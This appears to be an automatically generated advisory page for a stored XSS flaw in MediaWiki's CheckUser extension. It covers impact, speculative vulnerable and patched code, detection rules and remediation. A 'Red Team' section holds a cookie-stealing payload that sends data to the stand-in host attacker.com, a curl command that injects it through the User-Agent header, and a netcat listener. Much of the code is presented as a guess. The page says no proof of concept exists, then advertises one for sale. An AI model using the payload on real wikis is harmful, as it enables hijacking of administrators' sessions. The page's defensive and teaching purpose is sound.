CVE-2025-61651
Executive Summary
CVE-2025-61651 is a stored Cross-Site Scripting (XSS) vulnerability in the Wikimedia Foundation's CheckUser extension for MediaWiki. The flaw resides in the file modules/ext.CheckUser/checkuser/checkUserHelper/buildUserElement.js. An attacker with the ability to influence data processed by this JavaScript module can inject malicious scripts that execute in the context of a victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all CheckUser versions prior to 1.44.1. No public proof-of-concept or exploit code has been released, and the CVSS score is currently unassigned. Immediate patching is critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the CheckUser extension, which is distributed as part of the MediaWiki ecosystem. It is not a core MediaWiki vulnerability. The extension is typically installed via Git or manual download from the Wikimedia Foundation's official repositories. There is no known compromise of the distribution channel. However, administrators should verify the integrity of their extension files against the official source.
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0 (UNKNOWN). Based on the vulnerability type (Stored XSS) and the context (MediaWiki admin interface), a reasonable estimated score would be 7.6 (HIGH) with the following vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L.
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs a valid user account with the ability to trigger CheckUser actions.
- User Interaction (UI): Required – The victim (typically a wiki administrator) must view the malicious output.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – An attacker can steal session cookies and access sensitive data.
- Integrity (I): High – An attacker can modify wiki content or perform actions on behalf of the victim.
- Availability (A): Low – An attacker could potentially disrupt the victim's session.
Threat Level: High. The vulnerability is in a widely used MediaWiki extension, and exploitation requires only low privileges.
Deep Dive & Mechanics
The vulnerability is a classic Stored Cross-Site Scripting (XSS). The file buildUserElement.js is responsible for constructing HTML elements that display user information (e.g., IP addresses, user agents, edit counts) within the CheckUser interface. The flaw lies in the improper neutralization of user-controlled input when building these elements.
Specifically, the JavaScript code likely takes data from the server (e.g., user agent strings, IP addresses, or other user-supplied metadata) and inserts it directly into the DOM using methods like innerHTML or jQuery.html() without proper sanitization. An attacker who can control any of these data fields (e.g., by setting a malicious User-Agent header or by registering a username containing HTML/JavaScript) can inject arbitrary script code.
When a privileged user (e.g., a wiki administrator with checkuser permission) views the CheckUser results, the injected script executes in their browser session. This allows the attacker to:
- Steal the victim's session cookies.
- Perform actions on behalf of the victim (e.g., block users, delete pages, grant permissions).
- Deface the wiki interface.
- Redirect the victim to a phishing page.
The vulnerability is triggered during the client-side rendering of CheckUser data, not during server-side processing. This makes it particularly dangerous because server-side input validation may not catch all injection vectors.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.44.1):
The vulnerable code in buildUserElement.js likely used direct DOM manipulation without sanitization. A simplified example:
// Vulnerable: Directly sets innerHTML with user-controlled data
function buildUserElement(userData) {
var element = document.createElement('div');
element.innerHTML = '<span class="user-agent">' + userData.userAgent + '</span>';
return element;
}
Patched Code (1.44.1+): The patched version uses safe DOM methods or sanitization libraries. A simplified example:
// Patched: Uses textContent to safely set text
function buildUserElement(userData) {
var element = document.createElement('div');
var span = document.createElement('span');
span.className = 'user-agent';
span.textContent = userData.userAgent; // Safe: no HTML parsing
element.appendChild(span);
return element;
}
The actual patch may also involve using DOMPurify or similar libraries to sanitize HTML before insertion.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid user account on a MediaWiki instance with CheckUser installed (version < 1.44.1).
- The ability to influence data that will be displayed by CheckUser (e.g., by setting a custom User-Agent header or registering a username with malicious content).
Exploitation Steps:
Craft the Payload: Create a JavaScript payload that performs a malicious action, such as stealing cookies. For example:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">Inject the Payload: Inject the payload into a data field that will be processed by CheckUser. The easiest vector is the User-Agent header. Use a tool like
curlto send a request with a malicious User-Agent:curl -X POST "https://target-wiki/w/api.php?action=edit&title=TestPage" \ -H "User-Agent: Mozilla/5.0 <img src=x onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'>" \ -d "text=Hello&token=..."Trigger the Vulnerability: Wait for a wiki administrator to view the CheckUser results for the IP address or user that made the request. The malicious User-Agent string will be displayed, and the script will execute.
Exfiltrate Data: The script sends the victim's cookies to the attacker's server.
Lab Setup:
- Install a vulnerable version of MediaWiki and CheckUser (e.g., 1.43.0).
- Use a local web server (e.g., XAMPP, Docker) to host the wiki.
- Set up a listener on the attacker machine (e.g.,
nc -lvnp 80or a simple HTTP server).
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual User-Agent strings containing HTML tags or JavaScript code.
- Look for requests to external domains from the wiki server (potential data exfiltration).
- Review CheckUser logs for any suspicious activity.
Defense:
- Immediate: Upgrade CheckUser to version 1.44.1 or later.
- Workaround: Disable the CheckUser extension if immediate patching is not possible.
- Mitigation: Implement a Web Application Firewall (WAF) rule to block requests with suspicious User-Agent headers.
- Monitoring: Enable Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the wiki server.
- User-Agent strings containing HTML tags (e.g.,
<script>,<img onerror=...>).
- File IOCs:
- Modified
buildUserElement.jsfile (check file hash against official release).
- Modified
- Log IOCs:
- CheckUser logs showing unusual user-agent strings.
- Web server logs showing requests with suspicious User-Agent headers.
Detection Engineering
YARA Rule
rule CVE_2025_61651_CheckUser_XSS {
meta:
description = "Detects malicious User-Agent strings targeting CVE-2025-61651"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61651"
strings:
$html_tag = /<[a-zA-Z\/].*?>/
$js_event = /onerror=|onload=|onclick=/
$script_tag = /<script[^>]*>/
condition:
any of ($html_tag, $js_event, $script_tag)
}
Sigma Rule
title: Suspicious User-Agent Header with HTML/JavaScript
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with User-Agent headers containing HTML tags or JavaScript event handlers, indicative of CVE-2025-61651 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-user-agent|contains:
- '<script'
- 'onerror='
- 'onload='
- 'onclick='
- '<img'
- '<svg'
condition: selection
falsepositives:
- Legitimate user agents with unusual characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61651 CheckUser XSS - Suspicious User-Agent"; flow:to_server; http.user_agent; content:"<script"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-61651 CheckUser XSS - Event Handler in User-Agent"; flow:to_server; http.user_agent; pcre:"/on(error|load|click|mouseover)=/i"; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Action:
- Upgrade CheckUser to version 1.44.1 or later. This is the only complete fix.
Workaround:
- If immediate patching is not possible, disable the CheckUser extension temporarily:
# In LocalSettings.php wfLoadExtension( 'CheckUser' ); // Comment out or remove this line
Mitigation:
- Implement a Web Application Firewall (WAF) rule to block requests with suspicious User-Agent headers.
- Enforce a strict Content Security Policy (CSP) to prevent inline script execution:
Header set Content-Security-Policy "default-src 'self'; script-src 'self';" - Monitor CheckUser logs for any unusual activity.
Long-Term:
- Conduct a security audit of all MediaWiki extensions.
- Implement input validation and output encoding for all user-controlled data.
- Stay updated with the latest security patches from the Wikimedia Foundation.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.